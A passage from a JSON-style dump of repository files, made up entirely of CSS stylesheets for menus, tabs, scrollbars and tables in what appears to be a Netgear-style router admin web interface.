8px;\n}\n\n.basic-menu-div a{\n    text-decoration:none;\n    color:#4e4e4e;\n    font-weight:bold; \n    background-color:#E5E5E5;\n    padding-top:5px;\n}\n\n.basic-menu-div a:hover{\n    text-decoration:none;\n    color:#4e4e4e;\n    font-weight:bold; \n    background-color:#E5E5E5;\n    padding-top:5px;\n    cursor:pointer;\n}\n\n.basic-menu-eco-div{\n    list-style:none;\n    margin-left:0px;\n    height:30px;\n    width:200px;\n    background-color:#E5E5E5;\n    background: url(\"../img/basic-green-button.gif\")  no-repeat left top;\n}\n\n.basic-menu-eco-div span{\n\tcolor: #000000;\n  margin-left:10px;\n  float:left;\n  width:180px;\n  padding-top:5px;\t\n  background: url(\"../img/barrow.gif\") no-repeat 165px 8px;\n}\n\n.basic-menu-eco-div a{\n    text-decoration:none;\n    color:#000000;\n    font-weight:bold; \n    background-color:#E5E5E5;\n    padding-top:6px;\n}\n\n.basic-menu-eco-div a:hover{\n    text-decoration:none;\n    color:#000000;\n    font-weight:bold; \n    background-color:#E5E5E5;\n    padding-top:6px;\n    cursor:pointer;\n}\n\n.basic-menu-div-gray{\n    list-style:none;\n    margin-left:0px;\n    height:30px;\n    width:200px;\n    background-color:#E5E5E5;\n   background: url(\"../img/gray-button.gif\") no-repeat;\n\n}\n\n.basic-menu-div-gray span{\n\n  margin-left:10px;\n   float:left;\n   width:180px;\n   color:#767676;  \n  padding-top:4px;\n   background: url(\"../img/barrow.gif\") no-repeat 165px 8px;\n}\n\n.basic-menu-div-gray a{\n    text-decoration:none;\n    color:#ffffff;\n    font-weight:bold;\n    background-color:#E5E5E5;\n    padding-top:5px;\n}\n\n.basic-menu-div-gray a:hover{\n    text-decoration:none;\n    color:#4e4e4e;\n    font-weight:bold; \n    background-color:#E5E5E5;\n    padding-top:5px;\n    cursor:pointer;\n}\n\n.menuActive{\n    list-style:none;\n    height:30px;    \n    width:200px;\n    background: url(\"../img/basic-purple-button.gif\")  no-repeat left top;\n}\n\n\n.menuActive a{\n    text-decoration:none;\n    color:#ffffff;\n    font-weight:bold;\n}\n\n.menuActive span{\n    float:left;\n    color:#ffffff;\n    background: url(\"../img/warrow.jpg\") no-repeat 165px 8px;\n}\n\n\n.advance-menu{\n   padding:0;\n   margin:0;\n   color:#4e4e4e;\n   font-family:arial;\n   list-style:none;\n   margin-top:20px;\n   margin-left:10px;\n   font-size:12px;\n   height:480px;\n   width:200px;\n}\n\n.advance-menu ul{\n\n   margin:0;\n   padding:0;\n\n}\n\n.advance-menu li{\n\tzoom:1;\n\tvertical-align:middle;\n}\n\n.advance-menu li.noSub{\n   margin:0;\n   padding:0;\n   height:24px;\n   padding-top:4px;\n   background: url(\"../img/roundedcornr_637010.gif\") no-repeat;\n \n}\n\n.advance-menu li.noSubLarge{\n   margin:0;\n   padding:0;\n   height:40px;\n   padding-top:4px;\n   background: url(\"../img/basic-black-button-large.gif\") no-repeat;\n \n}\n \n  .advance-menu li.noSubActive{\n   padding:0;\n   height:24px;  \n   padding-top:4px;\t\n   background: url(\"../img/basic-purple-button.gif\") no-repeat;\n }\n\n   .advance-menu li.noSubActiveLarge{\n   padding:0;\n   height:40px;  \n   padding-top:4px;\t\n   background: url(\"../img/basic-purple-button-large.gif\") no-repeat;\n }\n \n.advance-menu li.noSubGray{\n   margin:0;\n   padding:0;\n   height:24px;\n   padding-top:4px;\n   background: url(\"../img/gray-button.gif\") no-repeat;\n   color:#767676;\n}\n\n.advance-menu li.noSubGrayLarge{\n   margin:0;\n   padding:0;\n   height:40px;\n   padding-top:4px;\n   background: url(\"../img/basic-gray-button-large.gif\") no-repeat;\n   color:#767676;\n}\n\n .advance-menu li.SubActive{\n   margin:0;\n   padding:0;\n   height:28px;\n   color:#4e4e4e;\n   padding-top:4px;\n   padding-left:5px;\n   width:200px;    \n   background: url(\"../img/basic-white-button.gif\") no-repeat;\n}\n\n\n.advance-menu li.SubActive span{\n   margin-left:5px;\n   padding:0px;\n   float:left;\n   width:200px;  \n   color:#4e4e4e;\n   padding-left:10px;\n   background: url(\"../img/barrow_down.jpg\") no-repeat 0px;\n}\n\n\n.advance-menu li.noSub span{\n   float:left;\n   width:180px;\n   color:#ffffff;  \n   margin-left:10px;\n}\n\n.advance-menu li.noSubLarge span{\n   float:left;\n   width:180px;\n   color:#ffffff;  \n   margin-left:10px;\n}\n\n.advance-menu li.noSubGray span{\n   float:left;\n   width:180px;\n   color:#767676;  \n   margin-left:10px;\n}\n\n.advance-menu li.noSubGrayLarge span{\n   float:left;\n   width:180px;\n   color:#767676;  \n   margin-left:10px;\n}\n\n.advance-menu li.Sub{\n   margin:0;\n   padding:0;\n   height:25px;\n   color:#4e4e4e;\n   padding-top:2px;\n   background: url(\"../img/basic-white-button.gif\") no-repeat;\n}\n\n\n.advance-menu li.Sub span{      \n   float:left;\n   width:200px;\n   color:#4e4e4e;\n   padding-left:10px;\n   background: url(\"../img/barrow.jpg\") no-repeat 0px;\n   margin-left:10px;\n}\n\n\n\n.advance-menu li.SubMenu{\n   margin:0;\n   padding:0;\n   height:18px;      \n   color:#4e4e4e;\n   list-style:none;   \n   border-bottom-style:solid;\n   border-bottom-width:1px;\n   border-bottom-color:#d4d4d4;   \n   width:200px;\n}\n\n\n.advance-menu li.SubMenu span{       \n    text-decoration:underline;\n    float:left;\n    width:170px;\n    padding-top:0px;    \n    color:#4e4e4e; \n    padding-left:20px;  \n    \n}\n\n.advance-menu li.SubMenu{\n   margin:0;\n   padding:0;\n   height:17px;      \n   color:#4e4e4e;\n   list-style:none;   \n   border-bottom-style:solid;\n   border-bottom-width:1px;\n   border-bottom-color:#d4d4d4;   \n   width:200px;\n} \n    \n.advance-menu li.SubMenuDisable{\n   margin:0;\n   padding:0;\n   height:20px;      \n   color:#adadad;\n   list-style:none;   \n   border-bottom-style:solid;\n   border-bottom-width:1px;\n   border-bottom-color:#d4d4d4;   \n   width:200px;\n}\n\n\n.advance-menu li.SubMenuDisable span{    \n    float:left;\n    width:170px;\n    padding-top:0px;    \n    color:#adadad;    \n    background:#e5e5e5; \n    padding-left:20px;  \n    \n}\n\n\n.advance-menu li.SubMenuLarge{\n   margin:0;\n   padding:0;\n   height:32px;      \n   color:#4e4e4e;\n   list-style:none;   \n   border-bottom-style:solid;\n   border-bottom-width:1px;\n   border-bottom-color:#d4d4d4;   \n   width:200px;\n}\n\n\n.advance-menu li.SubMenuLarge span{       \n    text-decoration:underline;\n    float:left;\n    width:170px;\n    padding-top:0px;    \n    color:#4e4e4e;    \n    background:#e5e5e5; \n    padding-left:20px;  \n    \n}\n\n.advance-menu li.SubMenuLargeDisable{\n   margin:0;\n   padding:0;\n   height:32px;      \n   color:#adadad;\n   list-style:none;   \n   border-bottom-style:solid;\n   border-bottom-width:1px;\n   border-bottom-color:#d4d4d4;   \n   width:200px;\n}\n\n\n.advance-menu li.SubMenuLargeDisable span{           \n    float:left;\n    width:170px;\n    padding-top:0px;    \n    color:#adadad;    \n    background:#e5e5e5; \n    padding-left:20px;  \n    \n}\n\n\n\n\n\n.advance-menu li.SubMenuHover span{\n    margin-left:0px;\n    padding-left:0px;\n    text-decoration:none;\n    float:left;\n    width:170px;\n    color:#9d98ff;\n    border-top-style:solid;\n    border-width:1px;\n    background:url();\n}\n\n\n.advance-menu li.SubMenuActive{\n   margin:0;\n   padding:0;\n   height:21px;\n   color:#4e4e4e;\n   list-style:none;\n   width:200px;\n   background:url(\"../img/subMenuActive.png\") no-repeat 15px -2px;    \n\n}\n\n\n\n\n.advance-menu li.SubMenuActive span{\n   margin-left:20px;\n   padding-left:0px;\n   text-decoration:none;\n   float:left;\n   width:170px; \n   color:#ffffff;\n}\n\n\n.advance-menu li.SubMenuActiveLarge{\n   margin:0;\n   padding:0;\n   height:32px;\n   color:#4e4e4e;\n   width:200px;\n   list-style:none;\n   background:url(\"../img/subMenuActiveLarge.png\") no-repeat 15px -2px;\n}\n\n\n.advance-menu li.SubMenuActiveLarge span{\n   margin-left:20px;\n   padding-left:0px;\n   width:170px;\n   text-decoration:none;\n   float:left;      \n   color:#ffffff;\n}\n\n.advance-menu span{\n    float:left;\n\n}\n\n.advance-menu a{\n    text-decoration:none;\n    color:#ffffff;\n    font-weight:bold;\n  \n}\n\n.advance-menu a:hover{\n    text-decoration:none;\n    color:#ffffff;\n    font-weight:bold;\n    cursor:pointer;\n  \n}\n\n\n.subHeader ul{\n    margin-top:0;\n    padding-top:0;\n    list-style:none;\n    height:150px;\n}\n                                                                        \n"
  },
  {
    "path": "sites/netgear/css/qos_tabs.css",
    "content": "\n\n/* root element for tabs  */\nul.tabs { \n    list-style:none; \n    margin:0px;\n    padding-left:10px;\n    padding-top:5px;\n    height:30px;\n    background-color:transparent;\n    font-family:arial;\n    overflow: hidden;\n    white-space: nowrap;\t\n}\n\n/* single tab */\nul.tabs li { \n\t  float:left;\t \n\t  text-indent:0;\n\t  padding:0;\n    margin-left:5px;\n\t  background-color:transparent;\n\t  list-style-image:none !important;\n    display: inline; \n}\n\n\n/* link inside the tab. uses a background image */\nul.tabs a { \n        background: url(../img/qos-tab-nonactive.jpg) no-repeat 0;\n\tfont-size:15px;\n\tfont-weight:bold;\n\tdisplay:block;\n\theight: 35px;  \n\tline-height:35px;\n\twidth: 152px;\n\ttext-align:center;\t\n\ttext-decoration:none;\n\tcolor:#4e4e4e;\n\tpadding:0px;\n\tposition:relative;    \n\ttop:0px;\t  \n\ttop: 0px\\9;\n\tfont-family:arial;\n}\n\nul.tabs a:active {\n\toutline:none;\t\t\n\tbackground: url(../img/qos-tab-nonactive.jpg) no-repeat 0;        \n}\n\n/* when mouse enters the tab move the background image */\n        \t\t\n\nul.tabs a.current, ul.tabs a.current:hover, ul.tabs li.current a {\n\tbackground: url(../img/qos-tab-hover.jpg) no-repeat  0;\n\tcursor:default !important; \n\tcolor:#000 !important;\n}\n\n\n\n.firmware-update-hint{\n    background-image:url(\"../img/firmware-hint-background.gif\");\n    background-position:0px -1px;\n    background-repeat:no-repeat;\n    margin-left:40px;\n    margin-top:3px;\n    float:left;\n    width:380px;\n    height: 22px;\n    font-weight:bold;\n    position: relative;\n    right: -350px;\n    top: 33px;\n    z-index:5;\n\n}\n\n\n.firmware-update-hint-short{\n\n    background-position:0px -1px;\n    background-repeat:no-repeat;\n    margin-left:40px;\n    margin-top:3px;\n    float:left;\n    width:380px;\n    height: 22px;\n    font-weight:bold;\n    position: relative;\n    right: -350px;\n    top: 33px;\n    z-index:5;\n\n}\n\n\n\n\n.language-option{\n\tfont-family:Arial, Helvetica, Geneva, Swiss, SunSans-Regular, sans-serif;\n  margin-top:4px;\n  margin-bottom:5px;\n  font-size:12px;\n  font-weight:normal;\n\t}\n\nfirmware_update_click a:hover{\n\t   mouse:pointer;\n}\n/* Different widths for tabs: use a class name: w1, w2, w3 or w2 */\n\n/* initially all panes are hidden */ \n.panes .pane {\n\tdisplay:none;\n\n}\n\n\n\n.button-rule span.roundleft_update{\n\tpadding: 4px 0px 15px 20px; \n\tmargin:0px;\n    border:0px;\n\theight:22px; \n\tfont-weight:bold;\n\tbackground: transparent url(\"../img/roundleft_update.gif\") no-repeat left 0px;\n\tcolor:#F2F2F2; \n    cursor: pointer;\n\twhite-space:nowrap;\n}\n\n.roundright_update{\n\tpadding: 4px 5px 15px 0px; \n\tmargin:0px;\n    width:20px;\n    border:0px;\n\theight:22px; \n\tfont-weight:bold;\n\tbackground: url(\"../img/roundright_update.gif\") no-repeat top right;\n\tcolor:#F2F2F2; \n\twhite-space:nowrap;\n    cursor: pointer;\n}\n\n.roundright_update_org{\n\tpadding: 4px 0px 4px 0px; \n\tmargin:0px;\n    width:20px;\n    border:0px;\n\theight:22px; \n\tfont-weight:bold;\n\tbackground: url(\"../img/roundright_update.gif\") no-repeat top right;\n\tcolor:#F2F2F2; \n\twhite-space:nowrap;\n    cursor: pointer;\n}\n "
  },
  {
    "path": "sites/netgear/css/scrollbar.css",
    "content": "\r\n/*\r\n * CSS Styles that are needed by jScrollPane for it to operate correctly.\r\n *\r\n * Include this stylesheet in your site or copy and paste the styles below into your stylesheet - jScrollPane\r\n * may not operate correctly without them.\r\n */\r\n\r\n.jspContainer\r\n{\r\n\toverflow: hidden;\r\n\tposition: relative;\r\n}\r\n\r\n.jspPane\r\n{\r\n\tposition: absolute;\r\n}\r\n\r\n.jspVerticalBar\r\n{\r\n\tposition: absolute;\r\n\ttop: 0;\r\n\tright: 0;\r\n\twidth: 12px;\r\n\theight: 100%;\r\n\tbackground-color: #202020;\r\n}\r\n\r\n.jspHorizontalBar\r\n{\r\n\tdisplay:none;\r\n\tposition: absolute;\r\n\tbottom: 0;\r\n\tleft: 0;\r\n\twidth: 100%;\r\n\theight: 16px;\r\n\tbackground-color:#202020;\r\n}\r\n\r\n.jspVerticalBar *,\r\n.jspHorizontalBar *\r\n{\r\n\tmargin: 0;\r\n\tpadding: 0;\r\n}\r\n\r\n.jspCap\r\n{\r\n\tdisplay: none;\r\n}\r\n\r\n.jspHorizontalBar .jspCap\r\n{\r\n\tfloat: left;\r\n}\r\n\r\n.jspTrack\r\n{\r\n\tbackground: #c0c0d0;\r\n\tposition: relative;\r\n}\r\n\r\n.jspDrag\r\n{\r\n\tbackground: #808080;\r\n\tposition: relative;\r\n\ttop: 0;\r\n\tleft: 0;\r\n\tcursor: pointer;\r\n}\r\n\r\n.jspHorizontalBar .jspTrack,\r\n.jspHorizontalBar .jspDrag\r\n{\r\n\tfloat: left;\r\n\theight: 100%;\r\n}\r\n\r\n.jspArrow\r\n{\r\n\tbackground: #50506d;\r\n\ttext-indent: -20000px;\r\n\tdisplay: block;\r\n\tcursor: pointer;\r\n}\r\n\r\n.jspArrow.jspDisabled\r\n{\r\n\tcursor: default;\r\n\tbackground: #80808d;\r\n}\r\n\r\n.jspVerticalBar .jspArrow\r\n{\r\n\theight: 16px;\r\n}\r\n\r\n.jspHorizontalBar .jspArrow\r\n{\r\n\twidth: 16px;\r\n\tfloat: left;\r\n\theight: 100%;\r\n}\r\n\r\n.jspVerticalBar .jspArrow:focus\r\n{\r\n\toutline: none;\r\n}\r\n\r\n.jspCorner\r\n{\r\n\tbackground: #eeeef4;\r\n\tfloat: left;\r\n\theight: 100%;\r\n}\r\n\r\n/* Yuk! CSS Hack for IE6 3 pixel bug :( */\r\n* html .jspCorner\r\n{\r\n\tmargin: 0 -3px 0 0;\r\n}\r\n\r\n"
  },
  {
    "path": "sites/netgear/css/standalone.css",
    "content": "body {\n\tfont-family:\"Lucida Grande\",\"bitstream vera sans\",\"trebuchet ms\",sans-serif,verdana,Arial;\n}\n\n/* get rid of those system borders being generated for A tags */\na:active {\n  outline:none;\n}\n\n:focus {\n  -moz-outline-style:none;\n}\n"
  },
  {
    "path": "sites/netgear/css/table.css",
    "content": "\n\n.basic-text{\n        padding-top:0px;\n        margin-top:0px;\n}\n\n\n.basic-text-menu{\n\t\tborder-collapse:collapse;\n        height:13px;\n        padding-left:15px;\n        border-left: 4px;\n        border-left-style:solid;\n        font-family:Arial;\n        font-size:12px;\n        border-color:#FFFFFF;\n\t\tcolor: #404040;\n        font-weight:bold;\n        width:50%;\n}\n\n.basic-text-menu-bottom{\n\t\tborder-collapse:collapse;\n\n        padding-left:15px;\n        border-left: 4px;\n        border-left-style:solid;\n        font-family:Arial;\n        font-size:12px;\n        border-color:#FFFFFF;\n\t\tcolor: #404040;\n        font-weight:bold;\n        width:50%;\n}\n.basic-text-content-bottom{\n        font-family:Arial;\n\t\tborder-collapse:collapse;\n      \tfont-size:12px;\n        border-right: 4px;\n        border-right-style:solid;\n\n        border-color:#FFFFFF;\n\t\tcolor: #404040;\n        width:50%;\n}\n\n.basic-text-menu-pr{\n\t\tborder-collapse:collapse;\n        height:13px;\n        padding-left:15px;\n        border-left: 4px;\n        border-left-style:solid;\n        font-family:Simsun,Arial;\n        font-size:12px;\n        border-color:#FFFFFF;\n\t\tcolor: #404040;\n        font-weight:bold;\n        width:50%;\n}\n\niframe{\n        background-color:transparent;\n}\n\n.basic-text-subTitle{\n\t\tborder-collapse:collapse;\n        height:13px;\n        padding-left:15px;\n        border-left: 4px;\n        border-left-style:solid;\n        font-family:Arial;\n        font-size:12px;\n        border-color:#FFFFFF;\n\t\tcolor:#69B4CB;\n        font-weight:bold;\n        width:50%;\n}\n\n.basic-text-subTitle-pr{\n\t\tborder-collapse:collapse;\n        height:13px;\n        padding-left:15px;\n        border-left: 4px;\n        border-left-style:solid;\n        font-family:Simsun,Arial;\n        font-size:12px;\n        border-color:#FFFFFF;\n\t\tcolor:#69B4CB;\n        font-weight:bold;\n        width:50%;\n}\n\n.basic-text-content{\n        font-family:Arial;\n\t\tborder-collapse:collapse;\n      \tfont-size:12px;\n        border-right: 4px;\n        border-right-style:solid;\n        height:13px;\n        border-color:#FFFFFF;\n\t\tcolor: #404040;\n        width:50%;\n    }\n\n.basic-text-content-pr{\n    font-family:Simsun,Arial;\n\t    border-collapse:collapse;\n  \tfont-size:12px;\n    border-right: 4px;\n    border-right-style:solid;\n    height:13px;\n    border-color:#FFFFFF;\n\tcolor: #404040;\n    width:50%;\n}\n\n.page-table{    \n        margin:0px;\n        font-size:14px;\n        background:-moz-linear-gradient(top,white,rgb(230,230,230));\n        background:-webkit-gradient(linear,left top, left bottom,from(#FFFFFF), to(#E6E6E6)); -webkit-background-origin: padding;-webkit-background-clip:content;\n        border-collapse:collapse;\n                \n        background-color:#C0C0C0;\n        filter: progid:DXImageTransform.Microsoft.Gradient(endColorstr='#E6E6E6', startColorstr='#FFFFFF', gradientType='0');\n       }\n\n.basic-table-seperate-border{\n        border-left-style:solid;\n        border-right-style:solid;\n\t\twidth:320px;\n                height:1px;\n        border-top-style:none;\n        border-bottom-style:none;\n        border-left-width:4px;\n        border-right-width:4px;\n        border-left-color:#FFFFFF;\n        border-right-color:#FFFFFF;\n}\n\n.table-seperate-border{\n       padding-left:10px;\n       padding-right:10px;\n       border-left-style:solid;\n        border-right-style:solid;\n        border-left-width:1px;\n        border-right-width:1px;\n        border-left-color:#808080;\n        border-right-color:#808080;\n}\n\n.scrollpane-table-seperate-border{\n       padding-left:20px;\n       padding-right:5px;\n       border-left-style:solid;\n        border-right-style:solid;\n        border-left-width:1px;\n        border-right-width:1px;\n        border-left-color:#808080;\n        border-right-color:#808080;\n}\n.basic-table-seperate{\n        height:1px;\n        border-color:#D0D0D0; \n        background-color:#D0D0D0;\n        margin-left:15px;\n        margin-right:15px;\n        border:0px;\n        overflow:hidden;\n      \n    }\n.basic-table-seperate-2{\n        height:1px;\n        border-color:transparent;\n        background-color:transparent;\n        margin-left:15px;\n        margin-right:15px;\n        border:0px;\n        overflow:hidden;\n      \n    }\t\n.adv-home-table-seperate{\n        height:1px;\n\t\twidth:615px;\n        border-color:#C0C0C0; \n\t\tborder-style:normal;\n        background-color:#C0C0C0;\n        margin-left:10px;\n        margin-right:10px;\n\t\tborder-bottom-color:#ffffff; \n\t\tborder-top-style:none;\n\t\tborder-left-style:none;\n\t\tborder-right-style:none;\n        border:1px;\n        overflow:hidden;\n      \n    }\n.adv-home-table-seperate-2{\n        height:1px;\n\t\twidth:615px;\n        border-color:#ffffff; \n\t\tborder-style:normal;\n        background-color:#ffffff;\n        margin-left:10px;\n        margin-right:10px;\n\t\tborder-bottom-color:#ffffff; \n\t\tborder-top-style:none;\n\t\tborder-left-style:none;\n\t\tborder-right-style:none;\n        border:1px;\n        overflow:hidden;\n      \n    }\n\n.table-seperate{\n        height:1px;\n\n        border-color:#000000; \n        background-color:#000000;\n        margin-left:15px;\n        margin-right:15px;\n        border:0px;\n        overflow:hidden;\n      \n    }\n\n.box-header-table {\n\t\t\t  border-collapse:collapse;\n\t\t\t  margin-left:5px;\n\t\t\t  background:url('../img/box-header-background.gif') no-repeat;\n}    \n    \n.box-header-table-large {\n\t\t\t  border-collapse:collapse;\n\t\t\t  margin-left:5px;\n              height:43px;\n\t\t\t  background:url('../img/box-header-background-large.gif') no-repeat;\n}\n\n\n.box-header {\n        margin:0px;\n        width:305px;\n        height:17px;\n        vertical-align:top;\n}\n.page-table-bottom-3{\n \n        background-position:0px -14px;\n        height:10px;\n        background-repeat:no-repeat;\n        margin-left:5px;\n        border:0px;\n\t\t    background-color:#FFFFFF;\n    }\n.page-table-bottom-2{\n        background:url(../img/page-table-bottom-2.gif);\n        background-position:0px -4px;\n        font-size:8px;\n        height:8px;\n        background-repeat:no-repeat;\n        margin-left:5px;\n        border:0px;\n    }\n\n.page-table-bottom{\n        background:url(../img/page-table-bottom.gif);\n        background-position:0px -14px;\n        height:10px;\n        background-repeat:no-repeat;\n        margin-left:5px;\n        border:0px;\n\t\t    background-color:#FFFFFF;\n    }\n\n\n.box-header-text{\n        font-family:Arial;\n        padding-left:5px;\n        height:10px;\n        width:340px;\n        color:#E5E5E5;\n        background-position:-35px 0px;\n        font-size:14px;\n\t\tfont-weight:Bold;\n        text-decoration:underline;   \n    }\n    \n.box-header-text-pr{\n        font-family:Simsun,Arial;\n        padding-left:5px;\n        height:10px;\n        width:340px;\n        color:#E5E5E5;\n        background-position:-35px 0px;\n        font-size:14px;\n\t\tfont-weight:Bold;\n        text-decoration:underline;   \n    }    \n\n.warning-text-menu{\n        height:13px;\n        text-decoration:underline;\n        padding-left:20px;\n        border-left: 4px;\n        color:#E77800;\n        border-left-style:solid;\n        font-family:Arial;\n        font-size:12px;\n        border-color:#FFFFFF;\n\t\tcolor:#E77800;\n        font-weight:bold;\n        width:60%;\n    }\n\n\n.warning-text-content{\n        border-right: 4px;\n        text-decoration:underline;\n        border-right-style:solid;\n        color:#E77800;\n        height:13px;\n        font-size:12px;\n        border-color:#FFFFFF;\n        width:40%;\n    }\n\t\n.page-table-button{    \n        font-family:Arial;\n        font-size:11px;\n        margin-top:0px;\n        margin-left:0px;\n        padding-left:0px;\n        font-weight:bold;\n        color:#FFFFFF;\n        height:16px;\n        width:140px;\n        background: url(\"../img/page-table-button.gif\") no-repeat;\n        background-position:relative;\n\n    }\n\n\n.page-table-button-large{    \n        font-family:Arial;\n        font-size:11px;\n        margin-top:0px;\n        margin-left:0px;\n        padding-left:0px;\n        font-weight:bold;\n        color:#FFFFFF;\n        height:32px;\n        width:140px;\n        background: url(\"../img/page-table-button-large.gif\") no-repeat;\n        background-position:relative;\n\n    }\t\n\t\n.page-table-button-left{    \n        font-family:Arial;\n        font-size:11px;\n        margin-top:0px;\n        margin-left:0px;\n        padding-left:0px;\n        font-weight:bold;\n        color:#FFFFFF;\n        height:16px;\n        width:140px;\n        background: url(\"../img/page-table-button.gif\") no-repeat;\n        background-position:100% 90%;\n\t\toverflow:hidden;\n\t\tpadding-top:5px;\n\t\tpadding-left:7px;\n    }\n\t\n.page-table-button-right{    \n        font-family:Arial;\n        font-size:11px;\n        margin-top:0px;\n        margin-left:0px;\n        padding-left:0px;\n        font-weight:bold;\n        color:#FFFFFF;\n        height:16px;\n        width:140px;\n        background: url(\"../img/page-table-button.gif\") no-repeat;\n        background-position:70% 90%;\n\t\toverflow:hidden;\n\t\tpadding-top:5px;\n\t\tpadding-left:7px;\n    }\n\n.page-table-button-large-left{    \n        font-family:Arial;\n        font-size:11px;\n        margin-top:0px;\n        margin-left:0px;\n        padding-left:1px;\n        font-weight:bold;\n        color:#FFFFFF;\n        height:32px;\n        width:280px;\n        background: url(\"../img/page-table-button-large.gif\") no-repeat;\n        background-position:100% 90%;\n\t\toverflow:hidden;\n\t\tpadding-top:5px;\n\t\tpadding-left:7px;\n\n    }\t\n\t\n.page-table-button-large-right{    \n        font-family:Arial;\n        font-size:11px;\n        margin-top:0px;\n        margin-left:0px;\n        padding-left:0px;\n        font-weight:bold;\n        color:#FFFFFF;\n        height:32px;\n        width:140px;\n        background: url(\"../img/page-table-button-large.gif\") no-repeat;\n        background-position:70% 90%;\n\t\toverflow:hidden;\n\t\tpadding-top:5px;\n\t\tpadding-left:7px;\n\n    }\n    \n.page-table-button-gray{    \n        font-family:Arial;\n        font-size:11px;\n        margin-top:0px;\n        margin-left:0px;\n        padding-left:0px;\n        font-weight:bold;\n        color:#767676;\n        height:16px;\n        width:140px;\n        background: url(\"../img/page-table-button-gray.gif\") no-repeat;\n        background-position:relative;\n\n    }    \n\n.subhead{\n        height:32px;\n        width:740px;\n        background: url(\"../img/subhead-top.gif\") no-repeat 0px 0px;\n        background-position:relative;\n}\n\n.subhead-bottom{\n        height:29px;\n        width:740px;\n        background: url(\"../img/subhead-bottom.gif\") no-repeat 0px 0px;\n        background-position:relative;\n}\n\n.subhead-text{\n        font-family:Arial;\n        font-size:14px;\n        color:#E5E5E5;\n        font-weight:bold;\n        padding-left:20px;\n        background-position:relative;\n        padding-top:7px;\n}\n\n.subhead-text-menu{\n        height:25px;\n        padding-left:20px;\n        border-left: 1px;\n        border-left-style:solid;\n        font-family:Arial;\n        font-size:12px;\n        border-color:#000000;\n        font-weight:bold;\n        width:18%;\n    }\n\n.subhead-text-context{\n        padding-left:20px;\n        border-right: 1px;\n        border-right-style:solid;\n        height:25px;\n        font-size:12px;\n        border-color:#000000;\n        width:75%;\n    }\n\n.normal-text{\n        font-family:Arial;\n        font-size:12px;\n        color:#404040;\n        text-decoration:none;\n        font-weight:bold;\n        background-position:relative;\n        \n}\n.subtop{\n        font-family:Arial;\n        margin:0px;\n        font-size:12px;\n        width:1050px;\n\n        color:#FFFFFF;\n        font-weight:bold;\n        vertical-align:middle;\n\n}\n.subhead2{\n        font-family:Arial;\n        margin:0px;\n        font-size:12px;\n        background: url(\"../img/subhead2-top.gif\") no-repeat 0px 0px;\n        color:#FFFFFF;\n        font-weight:bold;\n        vertical-align:middle;\n        position: absolute;\n        top: 0px;\n        left: 0px;\n        padding-top:8px;\n        padding-bottom:8px;\n        padding-left:20px;\n}\n\n.subhead2-table{\n\t      zoom:1;\n        width:1050px;\n\t      background-attachment:fixed;\n        padding-right:5px;\n        border-collapse:collapse;\n}\n\n.subhead2-multi-table{\n\t      zoom:1;\n\n\t      background-repeat: no-repeat;\n\t      background-attachment:fixed;\n        border:0px;\n        border-collapse:collapse;\n}\n\n\n.subhead2-text{\n       font-family:Arial;\n        margin:0px;\n        color:#FFFFFF;\n        font-size:12px;\n        background-position:relative;\n        font-weight:bold;\n        vertical-align:middle;\n        padding-top:4px;\n        padding-bottom:4px;\n}\n    \n.subhead2-bottom{\n        height:29px;\n        width:1050px;\n\n        background-position:relative;\n        position:relative;\n        top:-28px;\n        margin-bottom:10px;\n}\n\n.subhead2-text-menu{\n        padding-left:20px;\n        height:20px;\n        border-left: 0px;\n        border-left-style:solid;\n        border-color:#808080;\n    }\n\n.page-body {\n\n        margin:0px;\n\n        background-color:#E5E5E5;\n        overflow:hidden;\n}\n\n.subhead2-text-context{\n        text-align:right;\n        padding-right:20px;\n        border-right: 0px;\n        border-right-style:solid;\n        border-color:#808080;\n    }\n\n.table-round-top-left{\n\t  background-image:url(\"../img/roundtopleft_table.gif\");\n\t  background-repeat:no-repeat;\n\t}\n\n.table-round-top-right{\n\t  background-image:url(\"../img/roundtopright_table.gif\");\n\t  background-repeat:no-repeat;\n\t}\n\n.table-round-bottom-left{\n\t  background-image:url(\"../img/roundbottomleft_table.gif\");\n\t  background-repeat:no-repeat;\n\t  background-position:0px -22px;\n\t}\n\n.table-round-bottom-right{\n\t  background-image:url(\"../img/roundbottomright_table.gif\");\n\t  background-repeat:no-repeat;\n\t  background-position:0px -22px;\n\t}\n\n.table-header{\n\t  background-color:#9d98ff;\n    font-family:Arial;\n    font-size:12px;\n    vertical-align:middle;\n    color:#404040;\n    text-decoration:none;\n    font-weight:bold;\n    background-position:relative;\n\t}\n\t\n.table-content-text{\n    font-family:Arial;\n    font-size:12px;\n    color:#404040;\n    text-decoration:none;\n    font-weight:normal;\n    background-position:relative;\n\t}\n\n.help-frame-div{\n  position:absolute; top:284px;left:10px;\t\n  width:1000px;\n  height:140px;\n\tbackground: #202020;\n\tpadding:10px;\n\tvisibility:hidden;\n\n}\n\n\n.bas-help-frame-div{\n\tposition:absolute; top:284px;left:10px;\n  width:600px;\n  height:140px;\n\tbackground: #202020;\n\tpadding:10px;\n\tvisibility:hidden;\n\n}\n\n\n.help-iframe{\n  width:100%;\n  height:140px;\n\tbackground: #202020;\n\tpadding:0px;\n  position:relative;\t\n}\t\n\n\n.scroll-pane\n{\n\t\toverflow: auto;\n\t\t-webkit-overflow-scrolling: touch;\n}\n\n#full-page-container\n{\n    position:absolute; top:0px;left:0px;\n    overflow: auto;\n}\n\n.cover-image\n{\n    position:absolute;\n    top:0px;\n    left:0px;\n    width:100%;\n    height:100%;\n    z-index:5;\n}\n\n.folderName_ie10\n{\n\tborder-right: inset 1pt;\n}\n\n.select-gray\n{\n     color:black;\n\t background: #E0E0E0;\n}\n"
  },
  {
    "path": "sites/netgear/css/table_noh.css",
    "content": "\n\n.basic-text{\n        padding-top:0px;\n        margin-top:0px;\n}\n\n\n.basic-text-menu{\n\t\tborder-collapse:collapse;\n        height:13px;\n        padding-left:15px;\n        border-left: 4px;\n        border-left-style:solid;\n        font-family:Arial;\n        font-size:12px;\n        border-color:#FFFFFF;\n\t\tcolor: #404040;\n        font-weight:bold;\n        width:50%;\n}\n\n.basic-text-menu-bottom{\n\t\tborder-collapse:collapse;\n\n        padding-left:15px;\n        border-left: 4px;\n        border-left-style:solid;\n        font-family:Arial;\n        font-size:12px;\n        border-color:#FFFFFF;\n\t\tcolor: #404040;\n        font-weight:bold;\n        width:50%;\n}\n.basic-text-content-bottom{\n        font-family:Arial;\n\t\tborder-collapse:collapse;\n      \tfont-size:12px;\n        border-right: 4px;\n        border-right-style:solid;\n\n        border-color:#FFFFFF;\n\t\tcolor: #404040;\n        